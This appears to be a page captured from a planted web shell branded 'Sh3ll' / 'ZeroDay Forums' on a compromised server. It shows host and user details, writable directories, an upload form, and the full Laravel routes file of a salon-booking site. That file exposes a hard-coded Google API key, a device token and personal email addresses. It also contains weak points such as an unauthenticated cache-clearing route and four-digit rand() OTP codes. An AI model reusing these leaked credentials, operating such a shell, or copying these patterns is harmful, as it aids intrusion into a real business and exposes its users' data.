Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/dev-test/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/dev-test/routes/web.php
<?php

use App\Modules\Users\Models\UserDevice;
use App\Modules\Plans\Http\Controllers\Admin\PlanController;
use App\Modules\Users\Http\Controllers\Admin\AuthController as AdminAuthController;
use App\Modules\Users\Models\UserProfile;
use App\User;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Mail;
use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application.
|
*/

Route::group([], function () {
    Route::get('/login', [AdminAuthController::class, 'getLogin']);
    Route::post('/login', [AdminAuthController::class, 'postLogin']);
    Route::get('/logout', [AdminAuthController::class, 'getLogout']);
});

Route::get('/home', function () {
    return redirect('/');
});

Route::get('/clear-cache', function () {
    Artisan::call('cache:clear');
    Artisan::call('route:clear');
    Artisan::call('config:clear');
    Artisan::call('view:clear');
    return response()->json(['message' => 'Cache cleared successfully']);
});

Route::get("sitemap.xml", function () {
    return \Illuminate\Support\Facades\Redirect::to('sitemap.xml');
});

Route::get('/error-exception', function () {
    return view('errors.custom_error');
});

Route::group(['middleware' => ['auth', 'user.permission']], function () {
    Route::get('/phpinfo', function () {
        return phpinfo();
    });
});

Route::get('/sagepay/direct-purchase', 'SagepayTestController@direct_purchase');
Route::get('/sagepay/server-purchase', 'SagepayTestController@server_purchase');
Route::get('/sagepay/create-card', 'SagepayTestController@create_card');
Route::get('/sagepay/process', 'SagepayTestController@process_response');
Route::post('/sagepay/process', 'SagepayTestController@process_response');
Route::get('/sagepay/refund', 'SagepayTestController@refund');
Route::get('/sagepay/pushnoti', 'SagepayTestController@pushnoti');

Route::get('/email-standard', function () {
    Mail::send('frontend_new.layouts.email', ['user' => \App\User::find(1)], function ($m) {
        $m->from(env('MAIL_FROM'), env('APP_NAME'));
        $m->to('manas.p@cisinlabs.com', 'mihai constantinescu');
        $m->subject(env('APP_NAME') . ' – test standard email');
    });
    return view('frontend_new.layouts.email');
});

Route::get('/email-voucher', function () {
    Mail::send('frontend_new.layouts.email_voucher', ['user' => \App\User::find(2485)], function ($m) {
        $m->from(env('MAIL_FROM'), env('APP_NAME'));
        $m->to('mihai.constantinescu@concept24.ro', 'mihai constantinescu');
        $m->subject(env('APP_NAME') . ' – test email voucher');
    });
    return view('frontend_new.layouts.email_voucher');
});

Route::get('bt-client-token', function () {
    $gateway = new Braintree\ClientToken();
    return $gateway->generate([
        'merchantAccountId' => env('BRAINTREE_MERCHANT_ID'),
    ]);
});

Route::get('/register-cookie', function () {
    $response = new \Illuminate\Http\Response('cookie disclaimer agreed');
    $response->withCookie(cookie()->forever('cookie_disclaimer', 'agreed'));
    return $response;
});

Route::get('admin', function () {
    return redirect(route('admin.schedules.bookings.index'));
});

// Auth routes (replacing Route::auth() for Laravel 8)
Route::get('/login', 'Auth\AuthController@getLogin')->name('login');
Route::post('/login', 'Auth\AuthController@postLogin');
Route::post('/logout', 'Auth\AuthController@getLogout')->name('logout');
Route::get('/register', 'Auth\AuthController@getRegister')->name('register');
Route::post('/register', 'Auth\AuthController@postRegister');
Route::get('/password/reset', 'Auth\PasswordController@getEmail')->name('password.request');
Route::post('/password/email', 'Auth\PasswordController@sendResetLinkEmail')->name('password.email');
Route::get('/password/reset/{token}', 'Auth\PasswordController@getReset')->name('password.reset');
Route::post('/password/reset', 'Auth\PasswordController@reset')->name('password.update');

Route::get('/salon/register', 'Auth\AuthController@getSalonRegister');
Route::post('/salon-register', 'Auth\AuthController@postSalonRegister');

Route::get('/search/query', 'AdminController@search');

Route::get('/membership/home', 'Membership\MembershipController@home');
Route::get('/membership/partner-with-us', 'Membership\MembershipController@partnerWithUsForm');
Route::get('/membership/salon-owner', 'Membership\MembershipController@salon_owner');
Route::get('/membership/mobile-services', 'Membership\MembershipController@mobile_services');
Route::get('/membership/get-membership', 'Membership\MembershipController@getMembership');
Route::get('/membership/success-subscription', 'Membership\MembershipController@successSubscription');
Route::get('/membership/failed-subscription', 'Membership\MembershipController@failedSubscription');
Route::get('/membership/my-membership', ['as' => 'membership.mymembership', 'uses' => 'Membership\MembershipController@myMembership']);
Route::get('/membership/cancel-membership', ['as' => 'membership.cancelmembership', 'uses' => 'Membership\MembershipController@cancelMembership']);
Route::get('/membership/cancel-membership-confirmation', ['as' => 'membership.cancelmembershipconfirmation', 'uses' => 'Membership\MembershipController@cancelMembershipStep2']);
Route::get('/membership/update-card-details', ['as' => 'membership.updatecard', 'uses' => 'Membership\MembershipController@updateCard']);
Route::get('/membership/cancel-subscription', ['as' => 'membership.cancelsubscription', 'uses' => 'Membership\MembershipController@cancelSubscription']);
Route::get('/enquiry-succesfull', ['as' => 'membership.enquiry_succesfull', 'uses' => 'Membership\MembershipController@successEnquiry']);
Route::get('/contact-success', ['as' => 'membership.successContact', 'uses' => 'Membership\MembershipController@successContact']);
Route::get('/update-card-succesfull', ['as' => 'membership.update_card_succesfull', 'uses' => 'Membership\MembershipController@cardUpdateSuccess']);

Route::get('/redirect/{provider}', 'SocialAuthController@redirect');
Route::get('/callback/{provider}', 'SocialAuthController@callback');

// Route::post('braintree/webhook', '\Laravel\Cashier\Http\Controllers\WebhookController@handleWebhook');
// Note: Laravel Cashier was removed. If you need Braintree webhooks, install laravel/cashier-braintree or create a custom webhook handler.

Route::get('/pushnotif', function () {
    $push = new \Edujugon\PushNotification\PushNotification('apn');
    $push->setMessage([
        'notification' => [
            'title' => 'My First notification',
            'body' => 'This is the notification message according with the ZenMobileMassage App',
            'sound' => 'default'
        ],
    ]);
    $push->setApiKey('AIzaSyAmxJHaJS5lwExz4s5K9ciQtfyZCtqy6DA');
    try {
        $status = $push->setDevicesToken(['a8b203798909ae23d5f956d7669f1e8977cccd120b83c04c1dc6bc8a17a7a24e']);
        dd($status);
    } catch (Exception $e) {
        dd($e->getMessage());
    }
});

Route::get('/pushnotif', 'PushController@pushNotif');

/*
|--------------------------------------------------------------------------
| API Login Route
|--------------------------------------------------------------------------
*/
Route::post('api/login', [function () {
    $email = request('email');
    $password = request('password');

    if (Auth::attempt(['email' => request('email'), 'password' => request('password')])) {
        $user = Auth::user();
        $otp = rand(1000, 9999);
        $userProfile = UserProfile::where(['user_id' => $user->id])->first();
        if (!$userProfile) {
            return response([
                'success' => false,
                'message' => 'Email not found',
            ], 404);
        }
        $user->otp = $otp;
        $user->save();

        Mail::send('users::frontend_new.emails.otpEmail', ['user' => $user, 'otp' => $otp], function ($m) use ($user) {

            $m->from(env('MAIL_FROM'), env('APP_NAME'));

            // TO
            if (!empty($user->email)) {
                $m->to($user->email, $user->name);
            }

            // BCC
            $bcc = array_filter(explode(',', env('MAIL_NEWORDER_BCC')));
            if (!empty($bcc)) {
                $m->bcc($bcc);
            }

            $m->subject(env('APP_NAME') . ' – OTP Verification');
        });

        return response([
            'success' => true,
            'data' => [],
            'message' => 'Welcome ' . $userProfile->first_name . '! OTP sent to your email.'
        ], 200);
    }
    return response(['success' => false, 'message' => 'The username or password do not match. Please try again!'], 401);
}]);

Route::post('api/send-email-login-otp', [function () {

    $email = Request::get('email');

    $password = Request::get('password');

    if (Auth::attempt(['email' => Request::get('email'), 'password' => Request::get('password')])) {



        $user = Auth::user();



        // //return logged-in user



        $otp = rand(1000, 9999);



        $userProfile = UserProfile::where(['user_id' => $user->id])->first();

        if (!$userProfile) {

            return response([

                'success' => false,

                'message' => 'Email not found',

            ], 404);
        }

        $user->otp = $otp;

        $user->save();



        Mail::send('users::frontend_new.emails.otpEmail', ['user' => $user, 'otp' => $otp], function ($m) use ($user) {

            $m->from(env('MAIL_FROM'), env('APP_NAME'));

            // TO
            if (!empty($user->email)) {
                $m->to($user->email, $user->name);
            }

            // BCC
            $bcc = array_filter(explode(',', env('MAIL_NEWORDER_BCC')));
            if (!empty($bcc)) {
                $m->bcc($bcc);
            }

            $m->subject(env('APP_NAME') . ' – OTP Verification');
        });

        return response([

            'success' => true,

            'data' => [],

            'message' => 'Welcome ' . $userProfile->first_name . '! OTP sent to your email.'

        ], 200);
    } else
        return response(['success' => false, 'message' => 'The username or password do not match. Please try again!'], 401);
}]);


Route::post('/api/test-socket', function () {

    try {

        $client = new Client();

        $response = $client->post('http://test.tradze.com:8080/send-request', [

            'json' => [

                'id'     => 1,

                'from'   => 2,

                'to'     => 6,

                'status' => 0,

            ]

        ]);



        return response()->json([

            'success' => true,

            'message' => 'Request sent!',

            'response' => $response->getBody()->getContents()

        ], 200);
    } catch (\Throwable $th) {

        return response()->json([

            'success' => false,

            'message' => $th->getMessage()

        ], 500);
    }
});

ZeroDay Forums Mini